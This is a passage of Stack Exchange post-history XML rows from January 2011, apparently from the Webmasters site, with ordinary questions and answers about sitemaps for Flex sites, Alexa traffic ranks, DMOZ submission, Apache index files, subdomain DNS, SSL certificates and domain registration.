  <row Id="14839" PostHistoryTypeId="5" PostId="7337" RevisionGUID="212122df-0fbe-4f6e-98ee-c06d817d29ec" CreationDate="2011-01-05T01:05:57.567" UserId="4335" Comment="fixed code formatting" Text="I've got a Flex website and I'm not sure how to make a sitemap for it. For a standard HTML page, sitemaps are straight forward. As Flex sites use a &quot;pageless&quot; architecture, I'm not sure what I should do. If anyone has any suggestions, please let me know. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;As I understand it, Google doesn't look at anything after the # in a URL. So in a deeplinked Flex site, Google wouldn't see the second page-- where it reads view=12 in the sample sitemap below. &#xD;&#xA;&#xD;&#xA;Or does Google handle sitemaps differently? Should I go ahead and make a sitemap with all of the deeplinked URLS: http://brainpinata.com/#view=12, http://brainpinata.com/#view=4, etc.&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;       &lt;url&gt;&#xD;&#xA;          &lt;loc&gt;http://www.brainpinata.com/&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2010-12-01&lt;/lastmod&gt;&#xD;&#xA;          &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;          &lt;priority&gt;1.0&lt;/priority&gt;&#xD;&#xA;       &lt;/url&gt;&#xD;&#xA;    &#xD;&#xA;       &lt;url&gt;&#xD;&#xA;          &lt;loc&gt;http://brainpinata.com/#view=12&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2010-12-01&lt;/lastmod&gt;&#xD;&#xA;          &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;          &lt;priority&gt;1.0&lt;/priority&gt;&#xD;&#xA;       &lt;/url&gt;&#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14840" PostHistoryTypeId="5" PostId="7348" RevisionGUID="e24825e8-295f-47e7-829f-2f6e7237482b" CreationDate="2011-01-05T01:09:09.327" UserId="1757" Comment="added 347 characters in body" Text="The badges they refer to are simply image links for your site. A lot of sites have these sort of images that they offer visitors for linking back to them. A more common name for them is a **button** (&quot;button image&quot;, &quot;link button&quot;, etc.).&#xD;&#xA;&#xD;&#xA;If you have a nice badge and ask your visitors nicely, and you also provide good content/a useful service, then, sure, a badge could probably increase the number of links to your site a little, and thus increase your search ranking.&#xD;&#xA;&#xD;&#xA;That said, however, badges alone aren't going to make a huge difference on most sites. I mean, how many webmasters want to put a free banner/button ad to another website on their own website? It might be a good tactic if you have the right brand for it (e.g. a snowboard company, a clothing company, or other &quot;hip&quot; brands), but if your website is for a travel agency/law firm/hardware store/etc. then I don't see it being much help. And, to be honest, Attracta's auto-generated badges are [pretty ugly][1]; if you're looking for a good badge maker, I'd try this site: [80x15][2].&#xD;&#xA;&#xD;&#xA;Lastly, I also found some anomalies while searching Attracta's website. If you do a Google search for &quot;[badges site:attracta.com][3]&quot; you get a lot of results that are redirects to GetSatisfaction questions for Foursquare. I don't know if there's some kind of relationship between the companies but it seems pretty weird. It looks like it's a 302 temporary redirect, causing Google to treat Attracta's page as the GetSatisfaction page. Now, maybe there's an innocent explanation for this that I'm missing, but this is a common technique used by blackhat SEOs to hijack the PR of another site. Supposedly it's been fixed by Google, but maybe it hasn't, or Attracta simply forget to take these redirects down.&#xD;&#xA;&#xD;&#xA;  [1]: http://cdn.attracta.com/badge/verify/70873.html&#xD;&#xA;  [2]: http://80x15.com/&#xD;&#xA;  [3]: http://www.google.com/search?q=badge+site%3Aattracta.com" />
  <row Id="14841" PostHistoryTypeId="2" PostId="7350" RevisionGUID="3c550d76-22a2-49af-a227-fa1279b214dd" CreationDate="2011-01-05T01:09:52.283" UserId="1218" Text="I'm involved with a site that is ranked 94,000-ish in Alexa, and they've got 180,000 uniques in the past 30 days, and 800,000 pageviews. &#xD;&#xA;&#xD;&#xA;However, this site is outside the US and gets traffic mostly from outside the US. We believe that the demographics of Alexa toolbar users mean that this site has a lower Alexa position than if it were a US site with a lot of traffic originating from the US.&#xD;&#xA;&#xD;&#xA;Sorry, i can't name the site as it belongs to a client, and they may not want me to publish traffic figures." />
  <row Id="14842" PostHistoryTypeId="2" PostId="7351" RevisionGUID="23783a68-5811-463a-b64e-92a8aa78aa7c" CreationDate="2011-01-05T01:22:03.840" UserId="4270" Text="I have tried several times over the past year to submit my site to the open directory project [http://www.dmoz.org/][1].  Every time I check back a few months later and the site hasn't been added.  Is there a trick to getting a site accepted.  What has worked for other people?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/" />
  <row Id="14843" PostHistoryTypeId="1" PostId="7351" RevisionGUID="23783a68-5811-463a-b64e-92a8aa78aa7c" CreationDate="2011-01-05T01:22:03.840" UserId="4270" Text="What is the key to getting your site accepted by the Open Directory Project?" />
  <row Id="14844" PostHistoryTypeId="3" PostId="7351" RevisionGUID="23783a68-5811-463a-b64e-92a8aa78aa7c" CreationDate="2011-01-05T01:22:03.840" UserId="4270" Text="&lt;seo&gt;&lt;directory&gt;&lt;directory-listing&gt;" />
  <row Id="14845" PostHistoryTypeId="2" PostId="7352" RevisionGUID="1f199121-f623-4e34-8332-82d86a7882b2" CreationDate="2011-01-05T03:57:11.963" UserId="1253" Text="Step 1. Follow the [submission guidelines][1]&#xD;&#xA;&#xD;&#xA;That's it. There is nothing you can do but hope your category has an editor, they are active, and they approve your site. You can ask for information in their support forums but that doesn't really do anything for you. &#xD;&#xA;&#xD;&#xA;What you shouldn't do is resubmit your site repeatedly. That's a great way to make sure you are never accepted.&#xD;&#xA;&#xD;&#xA;My advice to you: submit your site and forget about it. With a little luck you'll get in. But i wouldn't hold my breath.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/add.html" />
  <row Id="14846" PostHistoryTypeId="2" PostId="7353" RevisionGUID="dae8227e-3d74-471e-9a23-05139b7f5c7f" CreationDate="2011-01-05T05:34:59.027" UserDisplayName="tikky" Text="If you need to do search engine optimization you can use Google, Yahoo, bing webmaster tools. Register for free. You should use meta tags and other h1 h2 tags. Use a site map generator to generate a sitemap.xml. Try to validate you html output. use Google analytics to generate reports. try to minimize ajax or javascripts to generate the content.(use only for graphics and things or think more about it). Good luck ..!!!" />
  <row Id="14847" PostHistoryTypeId="2" PostId="7354" RevisionGUID="de584cfd-8f0b-4ca0-9bf6-c52893eae3a1" CreationDate="2011-01-05T06:12:34.690" UserId="3284" Text="I've recently been tasked to code a new site. The following is the URL for the site:&#xD;&#xA;&#xD;&#xA;http://www.iss.guild.uwa.edu.au/2011/&#xD;&#xA;&#xD;&#xA;As you can see going to the above URL will only lists the available files and folders in it. I want to get the server to autoload the index.html file like in www.iss.guild.uwa.edu.au/2010/" />
  <row Id="14848" PostHistoryTypeId="1" PostId="7354" RevisionGUID="de584cfd-8f0b-4ca0-9bf6-c52893eae3a1" CreationDate="2011-01-05T06:12:34.690" UserId="3284" Text="How to I get my server to autoload my index.html?" />
  <row Id="14849" PostHistoryTypeId="3" PostId="7354" RevisionGUID="de584cfd-8f0b-4ca0-9bf6-c52893eae3a1" CreationDate="2011-01-05T06:12:34.690" UserId="3284" Text="&lt;homepage&gt;" />
  <row Id="14850" PostHistoryTypeId="2" PostId="7355" RevisionGUID="71c19e8b-814b-4b3c-b6f8-2337fd2ca56b" CreationDate="2011-01-05T06:21:17.833" UserDisplayName="JP19" Text="I see that your site is using apache. In the apache configuration file, add this line:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html&#xD;&#xA;&#xD;&#xA;and restart apache." />
  <row Id="14851" PostHistoryTypeId="17" PostId="7357" RevisionGUID="882addd4-4409-40f4-8890-6c9679563506" CreationDate="2011-01-05T08:17:05.823" UserId="-1" Comment="from http://serverfault.com/questions/218762/one-subdomain-is-not-working/218802#218802" Text="" />
  <row Id="14852" PostHistoryTypeId="2" PostId="7357" RevisionGUID="5fa023d9-80b2-4055-a06e-171070200bec" CreationDate="2011-01-05T02:28:52.863" UserId="760" Text="&gt; What do you think the problem is?&#xD;&#xA;&#xD;&#xA;No idea, you provided almost no useful information.&#xD;&#xA;&#xD;&#xA;&gt; But when I try to browse there it doesn't work&#xD;&#xA;&#xD;&#xA;Please define `doesn't work`.&#xD;&#xA;&#xD;&#xA;For example do you get an error about the Domain not existing?  Perhaps try using nslookup or some tool to verify that the DNS records for the domain was created properly.  What happens if you try to ping our traceroute to the new domain?&#xD;&#xA;&#xD;&#xA;Do you get a connection time out?  Perhaps there is some kind of routing or firewall issue.  Maybe the wrong IP address got associated with the DNS record.&#xD;&#xA;&#xD;&#xA;Can you visit the IP that you have associated with the new domain?  If you using name-based virtual hosts, you may not get to the web site, but if you get a connection refused, or a timeout, then you may be using the wrong IP.&#xD;&#xA;&#xD;&#xA;You made an update to DNS, do you know if it adjusted the SOA record?&#xD;&#xA;&#xD;&#xA;Have you tried flushing the DNS cache on your local machine?&#xD;&#xA;&#xD;&#xA;Please take some time to clearly describe precisely what the symptoms are and what you have tried to test." />
  <row Id="14853" PostHistoryTypeId="2" PostId="7356" RevisionGUID="91c6d544-3bab-45c2-bdad-2d426688f5f7" CreationDate="2011-01-04T22:30:26.253" UserDisplayName="BFTrick" Text="My main domain works just fine - www.example.com and a subdomain set up by another developer works as well - sub1.example.com. But when I try to set another subdomain up I go through the process everything seems to work. The software creates the default files where the subdomain files should go. But when I try to browse there it doesn't work. My host uses Plesk to do all of the hosting stuff.&#xD;&#xA;&#xD;&#xA;What do you think the problem is?&#xD;&#xA;&#xD;&#xA;I doubt it is some sort of cache issue because I had problems on my phone which I tried after problems on the pc. Maybe for some reason Plesk needs time to set this up? I have used Cpanel before and that works instantly." />
  <row Id="14854" PostHistoryTypeId="1" PostId="7356" RevisionGUID="91c6d544-3bab-45c2-bdad-2d426688f5f7" CreationDate="2011-01-04T22:30:26.253" UserDisplayName="BFTrick" Text="One subdomain is not working" />
  <row Id="14855" PostHistoryTypeId="3" PostId="7356" RevisionGUID="91c6d544-3bab-45c2-bdad-2d426688f5f7" CreationDate="2011-01-04T22:30:26.253" UserDisplayName="BFTrick" Text="&lt;subdomain&gt;&lt;plesk&gt;" />
  <row Id="14856" PostHistoryTypeId="17" PostId="7356" RevisionGUID="319fa1be-5bbc-499a-924a-8a987a158a9a" CreationDate="2011-01-05T08:17:05.823" UserId="-1" Comment="from http://serverfault.com/questions/218762/one-subdomain-is-not-working" Text="" />
  <row Id="14857" PostHistoryTypeId="2" PostId="7358" RevisionGUID="6ce613f2-40c7-4c68-874f-6be67ca0f8ef" CreationDate="2011-01-05T09:14:48.093" UserId="4354" Text="I have a query regarding holding the payment in **PAYGATE PAYMENT GATEWAY.**&#xD;&#xA;&#xD;&#xA;Here is the problem in brief. I am doing a website where the payment should be made only a certain members buy the product.&#xD;&#xA;&#xD;&#xA;For Example if there is an iPhone in my site, then that particular phone must be buy by certain quantities which given by admin. It may be done one by one user or a single user can buy all the quantities at a single time.&#xD;&#xA;&#xD;&#xA;In this case i need to hold the payment here.**Because i don't want to receive the payments until the certain quantities bought. Because if certain quantities were not buy i need to refund the money to their account. We don't like to do this process.**&#xD;&#xA;&#xD;&#xA;That's why we are looking for holding the payment.&#xD;&#xA;&#xD;&#xA;Is it possible or what is the best way to solve this problem?&#xD;&#xA;&#xD;&#xA;Please let me know what is you professional opinion?&#xD;&#xA;&#xD;&#xA;thanks in advance...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14858" PostHistoryTypeId="1" PostId="7358" RevisionGUID="6ce613f2-40c7-4c68-874f-6be67ca0f8ef" CreationDate="2011-01-05T09:14:48.093" UserId="4354" Text="How to hold payment in paygate for a while?" />
  <row Id="14859" PostHistoryTypeId="3" PostId="7358" RevisionGUID="6ce613f2-40c7-4c68-874f-6be67ca0f8ef" CreationDate="2011-01-05T09:14:48.093" UserId="4354" Text="&lt;php&gt;&lt;payment-gateway&gt;" />
  <row Id="14860" PostHistoryTypeId="2" PostId="7359" RevisionGUID="9664f757-d782-431b-a714-d1767a932008" CreationDate="2011-01-05T10:04:52.763" UserId="4355" Text="the position of title tag is irrelevant, however the position of keywords inside the title tag is important. " />
  <row Id="14861" PostHistoryTypeId="2" PostId="7360" RevisionGUID="e9a13486-e4c7-4350-aef1-5f8ed57e980f" CreationDate="2011-01-05T10:10:49.947" UserId="4355" Text="I have written a detailed article on speed optimisation which you might find helpful. &#xD;&#xA;&#xD;&#xA;http://www.elevatelocal.co.uk/blog/17-rules-of-speed-optimisation-0501511" />
  <row Id="14865" PostHistoryTypeId="2" PostId="7362" RevisionGUID="c2274b04-5fd7-4e6f-8d1f-ae14234b8976" CreationDate="2011-01-05T10:18:39.343" UserId="3461" Text="Coppermine is updated quite often, and this [BitNami installer][1] makes it really easy to setup Coppermine gallery. It has the two features you are asking for :)  (and much more)&#xD;&#xA;&#xD;&#xA;Another one having that functionality is [Gallery][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/coppermine&#xD;&#xA;  [2]: http://bitnami.org/stack/gallery" />
  <row Id="14866" PostHistoryTypeId="5" PostId="7362" RevisionGUID="75ab6738-b449-4559-9c33-6b9c9513ee4f" CreationDate="2011-01-05T10:23:47.870" UserId="3461" Comment="deleted 6 characters in body" Text="Coppermine is updated quite often, and this [BitNami installer][1] makes it really easy to setup this gallery. It has the two features you are asking for :)  (and much more)&#xD;&#xA;&#xD;&#xA;Another one having that functionality is [Gallery][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/coppermine&#xD;&#xA;  [2]: http://bitnami.org/stack/gallery" />
  <row Id="14867" PostHistoryTypeId="2" PostId="7363" RevisionGUID="949b7125-828c-4c07-9da8-f88312b12fb5" CreationDate="2011-01-05T10:45:12.403" UserId="3307" Text="Use a CDN for static files such as javascript, css and images. Both RackspaceCloud and Amazon have fairly cheap ones." />
  <row Id="14868" PostHistoryTypeId="2" PostId="7364" RevisionGUID="b599f877-7dd9-4379-824e-8f177b87dd56" CreationDate="2011-01-05T10:58:55.000" UserDisplayName="imez" Text="sorry for bad english.&#xD;&#xA;if renewing cz.cc free domain is free then what do mean renewing domain after two years?&#xD;&#xA;(why we should renew for free service when it is free?)&#xD;&#xA;" />
  <row Id="14869" PostHistoryTypeId="1" PostId="7364" RevisionGUID="b599f877-7dd9-4379-824e-8f177b87dd56" CreationDate="2011-01-05T10:58:55.000" UserDisplayName="imez" Text="what do mean &quot;renew domain&quot; for free service?" />
  <row Id="14870" PostHistoryTypeId="3" PostId="7364" RevisionGUID="b599f877-7dd9-4379-824e-8f177b87dd56" CreationDate="2011-01-05T10:58:55.000" UserDisplayName="imez" Text="&lt;domains&gt;&lt;free&gt;" />
  <row Id="14874" PostHistoryTypeId="2" PostId="7366" RevisionGUID="7b1c2c30-e740-4062-8d3a-049f1ba730e8" CreationDate="2011-01-05T12:39:20.710" UserDisplayName="JP19" Text="Based on what I can make out from your question:&#xD;&#xA;&#xD;&#xA;1) They might have given you free domain for only 2 years and after two years they expect you to pay fees to continue.&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;2) They want to make sure you are using your free domain (it is active and not just lying there). Hence maybe they want you to manually &quot;renew&quot; even if they don't want any fee.&#xD;&#xA;&#xD;&#xA;(They =&gt; the company that gave you free domain)." />
  <row Id="14878" PostHistoryTypeId="6" PostId="7358" RevisionGUID="982b4add-2fee-4a70-a5ac-593f74ee6bf2" CreationDate="2011-01-05T12:53:31.313" UserId="1253" Comment="Added &quot;paygate&quot; tag" Text="&lt;payment-gateway&gt;" />
  <row Id="14879" PostHistoryTypeId="2" PostId="7367" RevisionGUID="a85658a6-e398-4a1a-8aad-e7e33c1a88f4" CreationDate="2011-01-05T13:03:25.567" UserId="4365" Text="Our company owns a domain say **www.mycompany.com**. I understand that it is trivial to get an SSL certificate for above domain since we do have a website running on that address. We want a certificate for a subdomain say **sub.mycompany.com**. We intend to use this sub-domain in our organisation network only and have no plans to publish a public website on this subdomain.&#xD;&#xA;&#xD;&#xA;So the question is &quot;Is it necessary to have a DNS entry for subdomain, resolving to our IP address and host some page on that address?&quot; I hope proving that main domain is in our control, we can get an SSL certificate for sub domain also. Is it possible?" />
  <row Id="14880" PostHistoryTypeId="1" PostId="7367" RevisionGUID="a85658a6-e398-4a1a-8aad-e7e33c1a88f4" CreationDate="2011-01-05T13:03:25.567" UserId="4365" Text="Getting SSL certificate for a sub-domain" />
  <row Id="14881" PostHistoryTypeId="3" PostId="7367" RevisionGUID="a85658a6-e398-4a1a-8aad-e7e33c1a88f4" CreationDate="2011-01-05T13:03:25.567" UserId="4365" Text="&lt;ssl-certificate&gt;&lt;subdomain&gt;" />
  <row Id="14882" PostHistoryTypeId="2" PostId="7368" RevisionGUID="37fb8b60-9cfe-4465-ac7c-fdbcdfb6bfb2" CreationDate="2011-01-05T13:09:17.997" UserId="233" Text="I have signed up for Amazon's affiliate program, to see how well it does. However, the program appears to be specific to each of Amazon's separate sites (Amazon.com, .co.uk, .ca etc).&#xD;&#xA;&#xD;&#xA;Around 50% of the traffic comes from the USA but there is a significant proportion from Canada and the UK too. Is there any system from Amazon to target products to the user's country? Or must I do this myself?" />
  <row Id="14883" PostHistoryTypeId="1" PostId="7368" RevisionGUID="37fb8b60-9cfe-4465-ac7c-fdbcdfb6bfb2" CreationDate="2011-01-05T13:09:17.997" UserId="233" Text="Is it possible to target Amazon's affiliate program to the user's country?" />
  <row Id="14884" PostHistoryTypeId="3" PostId="7368" RevisionGUID="37fb8b60-9cfe-4465-ac7c-fdbcdfb6bfb2" CreationDate="2011-01-05T13:09:17.997" UserId="233" Text="&lt;affiliate&gt;&lt;amazon&gt;&lt;country-specific&gt;" />
  <row Id="14885" PostHistoryTypeId="2" PostId="7369" RevisionGUID="373ce1cc-0d66-4b0c-9cc9-ab5491eafead" CreationDate="2011-01-05T14:06:31.853" UserDisplayName="JP19" Text="You need to do this yourself using visitors IP address. &#xD;&#xA;&#xD;&#xA;http://www.warriorforum.com/main-internet-marketing-discussion-forum/221159-increase-amazon-conversions-rate-geo-targeting.html" />
  <row Id="14886" PostHistoryTypeId="2" PostId="7370" RevisionGUID="6d528bbe-1e71-4db5-8ce3-30b030601bba" CreationDate="2011-01-05T14:08:31.277" UserId="4368" Text="[http://www.shadowbox-js.com/][1] this is a lightbox that supports video&#xD;&#xA;&#xD;&#xA;[http://flowplayer.org/][2] this is a video player that supports the [lightbox][3] effect&#xD;&#xA;&#xD;&#xA;video will have to hosted somewhere, for example [http://youtube.com][4]&#xD;&#xA;&#xD;&#xA;What you want won't be easy to achieve, you can customize the flowplayer to swap some html and code with jquery when the video completes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shadowbox-js.com/&#xD;&#xA;  [2]: http://flowplayer.org/&#xD;&#xA;  [3]: http://flowplayer.org/tools/demos/overlay/index.html&#xD;&#xA;  [4]: http://youtube.com" />
  <row Id="14887" PostHistoryTypeId="2" PostId="7371" RevisionGUID="528fe535-edfd-4d57-8ec3-b5828c81d36f" CreationDate="2011-01-05T14:33:34.197" UserId="4367" Text="Thanks for your answers so far. I'll try to provide as much information as I can but I am not very familiar with DNS issues.&#xD;&#xA;&#xD;&#xA;I pinged the domain and this is what I got:&#xD;&#xA;&#xD;&#xA;&gt; ping: cannot resolve drnick.burnhamrichards.com: Unknown host&#xD;&#xA;&#xD;&#xA;When I attempt to go to the domain with my browser I get this error:&#xD;&#xA;&#xD;&#xA;&gt; Oops! Google Chrome could not find sub1.example.com&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&gt; Can you visit the IP that you have associated with the new domain? If you using name-based virtual hosts, you may not get to the web site, but if you get a connection refused, or a timeout, then you may be using the wrong IP.&#xD;&#xA;&#xD;&#xA;I visited the IP and I got a generic landing page that says something like &quot;welcome, you see this page because there is no website at this address&quot; and since I am using virtual hosts I imagine that is what I am supposed to see.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;When I log into plesk I see that the a-records for both sub1.example.com and sub2.example.com are pointing to the same IP. &#xD;&#xA;&#xD;&#xA;Hopefully that little bit of clarification can help, thanks." />
  <row Id="14888" PostHistoryTypeId="2" PostId="7372" RevisionGUID="ccfd2c7e-8496-46b3-ade2-b1f78f8e302d" CreationDate="2011-01-05T15:06:33.427" UserId="4371" Text="I'm looking to start my own blog. Under the incredibly vain assumption that anyone cares what I think, I'd like to put up some ads to fund my, um, habits, yeah. I don't want to have to pay anything, nor do I want to host it myself (if possible).&#xD;&#xA;&#xD;&#xA;What blogging platform fits this bill?" />
  <row Id="14889" PostHistoryTypeId="1" PostId="7372" RevisionGUID="ccfd2c7e-8496-46b3-ade2-b1f78f8e302d" CreationDate="2011-01-05T15:06:33.427" UserId="4371" Text="Best free blogging site that allows AdWords and other advertising?" />
  <row Id="14890" PostHistoryTypeId="3" PostId="7372" RevisionGUID="ccfd2c7e-8496-46b3-ade2-b1f78f8e302d" CreationDate="2011-01-05T15:06:33.427" UserId="4371" Text="&lt;advertising&gt;&lt;blog&gt;&lt;free&gt;&lt;adwords&gt;" />
  <row Id="14891" PostHistoryTypeId="2" PostId="7373" RevisionGUID="e43991cf-1a9a-40b0-a7be-5df433a6b426" CreationDate="2011-01-05T15:16:54.270" UserId="3307" Text="Are you looking for self hosting or hosting on someone else's server?&#xD;&#xA;&#xD;&#xA;The reason that I ask is because if you host it yourself, then you can do pretty much anything you want. If you host on someone else's servers and its free, chances are that they'd want to make some sort of money from your blog so the money from the ads would more than likely go to them.&#xD;&#xA;&#xD;&#xA;If you go down the self hosted route, [Wordpress][1] tends to be a firm favourite.&#xD;&#xA;&#xD;&#xA;If you want someone else to host it you have quite a large choice from [Wordpress.com][2], [Posterous][3], [Tumblr][4], [Blogger][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordpress.org&#xD;&#xA;  [2]: http://www.wordpress.com&#xD;&#xA;  [3]: http://www.posterous.com&#xD;&#xA;  [4]: http://www.tumblr.com&#xD;&#xA;  [5]: http://www.blogger.com" />
  <row Id="14892" PostHistoryTypeId="2" PostId="7374" RevisionGUID="de3ee914-004b-4c18-ac7d-659c8d49a7a4" CreationDate="2011-01-05T15:41:01.667" UserId="205" Text=" - Reduce the number of HTTP requests to a minimum - e.g. make sure that you are using image sprites where you are able, do you have multiple javascript or css files loading for every page? Combine them into one&#xD;&#xA; - Are there redirects out there that you can eliminate?&#xD;&#xA; - Load stylesheets at the top of your document, javascript on the bottom&#xD;&#xA; - If your site is large, provide servers geographically close to your biggest userbase." />
  <row Id="14893" PostHistoryTypeId="2" PostId="7375" RevisionGUID="f523db7f-2888-431f-8f85-853133ebaae9" CreationDate="2011-01-05T15:48:50.173" UserId="4374" Text="I've never registered a .com , .net like domain before, and I would like to do some research before doing so.&#xD;&#xA;&#xD;&#xA;1. I currently have a ruby on rails app running Heroku. Is there anything special I have to do prior to registering domain on my ruby on rails app at all? Or is it as easy as just inserting my current Heroku address to mask it with another .com or .net name?&#xD;&#xA;2. Is there some special features I should look for registering domain? Or is it typical for domain seller to just sell domain names only?&#xD;&#xA;3. Any recommendations on sellers?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;" />
  <row Id="14894" PostHistoryTypeId="1" PostId="7375" RevisionGUID="f523db7f-2888-431f-8f85-853133ebaae9" CreationDate="2011-01-05T15:48:50.173" UserId="4374" Text="How to register a domain for a beginner?" />
  <row Id="14895" PostHistoryTypeId="3" PostId="7375" RevisionGUID="f523db7f-2888-431f-8f85-853133ebaae9" CreationDate="2011-01-05T15:48:50.173" UserId="4374" Text="&lt;domain-registration&gt;" />
  <row Id="14896" PostHistoryTypeId="2" PostId="7376" RevisionGUID="530bbec5-fc15-4008-bdd1-39bf3f4ee6b0" CreationDate="2011-01-05T15:55:54.080" UserDisplayName="user4375" Text="You should just be able to purchase a domain name from anyone. (GoDaddy is very popular) and set it up to point to your Heroku account." />
  <row Id="14897" PostHistoryTypeId="2" PostId="7377" RevisionGUID="35c8f8ec-a2d6-4927-a162-c7ab545ffaf6" CreationDate="2011-01-05T15:35:19.440" UserId="4374" Text="I've never registered a .com , .net like domain before, and I would like to do some research before doing so.&#xD;&#xA;&#xD;&#xA;1. I currently have a ruby on rails app running Heroku. Is there anything special I have to do prior to registering domain on my ruby on rails app at all? Or is it as easy as just inserting my current Heroku address to mask it with another .com or .net name?&#xD;&#xA;&#xD;&#xA;2. Is there some special features I should look for registering domain? Or is it typical for domain seller to just sell domain names only?&#xD;&#xA;&#xD;&#xA;3. Any recommendations on sellers?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="14898" PostHistoryTypeId="1" PostId="7377" RevisionGUID="35c8f8ec-a2d6-4927-a162-c7ab545ffaf6" CreationDate="2011-01-05T15:35:19.440" UserId="4374" Text="How to register a domain for a beginner?" />
  <row Id="14899" PostHistoryTypeId="3" PostId="7377" RevisionGUID="35c8f8ec-a2d6-4927-a162-c7ab545ffaf6" CreationDate="2011-01-05T15:35:19.440" UserId="4374" Text="&lt;ruby-on-rails&gt;&lt;domains&gt;" />
  <row Id="14900" PostHistoryTypeId="17" PostId="7377" RevisionGUID="33e16167-d6e7-4c80-9ba1-6a89201ee46a" CreationDate="2011-01-05T15:56:03.707" UserId="-1" Comment="from http://stackoverflow.com/questions/4605878/how-to-register-a-domain-for-a-beginner" Text="" />
  <row Id="14901" PostHistoryTypeId="10" PostId="7377" RevisionGUID="e3e72cea-0e0d-41d0-9e22-6c4bf5fc7985" CreationDate="2011-01-05T16:05:01.517" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14902" PostHistoryTypeId="5" PostId="7377" RevisionGUID="0e56513d-22c8-447c-bdb9-2df1b8b94b2b" CreationDate="2011-01-05T16:05:01.640" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to register a domain for a beginner?](http://webmasters.stackexchange.com/questions/7375/how-to-register-a-domain-for-a-beginner)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've never registered a .com , .net like domain before, and I would like to do some research before doing so.&#xD;&#xA;&#xD;&#xA;1. I currently have a ruby on rails app running Heroku. Is there anything special I have to do prior to registering domain on my ruby on rails app at all? Or is it as easy as just inserting my current Heroku address to mask it with another .com or .net name?&#xD;&#xA;&#xD;&#xA;2. Is there some special features I should look for registering domain? Or is it typical for domain seller to just sell domain names only?&#xD;&#xA;&#xD;&#xA;3. Any recommendations on sellers?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="14909" PostHistoryTypeId="2" PostId="7379" RevisionGUID="191dd09d-81ea-4c47-b58b-913509bfc5d4" CreationDate="2011-01-05T17:02:47.557" UserId="233" Text="Being a professional web developer I've built and hosted many sites, including personal projects. Here is a range of data from different sites that should help you. Numbers are *per month* - specifically, the last 30 days from Google Analytics - and rounded to the nearest 100.&#xD;&#xA;&#xD;&#xA;1. 1,800 Visits, 10,800 Pageviews -- Alexa **#5,858,200**&#xD;&#xA;2. 46,800 Visits, 143,800 Pageviews -- Alexa **#255,000**&#xD;&#xA;3. 56,900 Visits, 106,900 Pageviews -- Alexa **#181,200**&#xD;&#xA;4. 86,900 Visits, 184,400 Pageviews -- Alexa **#306,300**&#xD;&#xA;5. 684,500 Visits, 6,267,300 Pageviews -- Alexa **#74,400**&#xD;&#xA;&#xD;&#xA;You can at least see that Alexa's data is not all that reliable since #4 is a bit of an anomaly. That site's traffic has dropped a bit in the last couple of months but even extrapolating last week's data the the 30-day range, it still has more visits than #3.&#xD;&#xA;&#xD;&#xA;It should also be noted that Alexa guesses website ranks based on people with the Alexa toolbar installed. This means firstly that any site outside the top 100,000 is not measured accurately (as Alexa state themselves). Second, I believe it's possible to fudge the results yourself by installing the toolbar and visiting your own site regularly." />
  <row Id="14910" PostHistoryTypeId="4" PostId="7372" RevisionGUID="cf676ded-9906-45f6-be31-032d444567da" CreationDate="2011-01-05T17:04:48.380" UserId="4371" Comment="correction" Text="Best free blogging site that allows AdSense and other advertising?" />
  <row Id="14911" PostHistoryTypeId="5" PostId="7379" RevisionGUID="c857f7e2-7ea3-4e95-b2b2-09a60546d52e" CreationDate="2011-01-05T17:10:47.927" UserId="233" Comment="deleted 15 characters in body" Text="Being a professional web developer I've built and hosted many sites, including personal projects. Here is a range of data from different sites that should help you. Numbers are *per month* - specifically, the last 30 days from Google Analytics - and rounded to the nearest 100.&#xD;&#xA;&#xD;&#xA;1. 1,800 Visits, 10,800 Pageviews -- Alexa **#5,858,200**&#xD;&#xA;2. 46,800 Visits, 143,800 Pageviews -- Alexa **#255,000**&#xD;&#xA;3. 56,900 Visits, 106,900 Pageviews -- Alexa **#181,200**&#xD;&#xA;4. 86,900 Visits, 184,400 Pageviews -- Alexa **#306,300**&#xD;&#xA;5. 684,500 Visits, 6,267,300 Pageviews -- Alexa **#74,400**&#xD;&#xA;&#xD;&#xA;You can at least see that Alexa's data is not all that reliable since #4 is a bit of an anomaly. Its traffic has dropped in the last couple of months but even extrapolating last week's data to the 30-day range, it still has more visits than #3.&#xD;&#xA;&#xD;&#xA;It should also be noted that Alexa guesses website ranks based on people with the Alexa toolbar installed. This means firstly that any site outside the top 100,000 is not measured accurately (as Alexa state themselves). Second, I believe 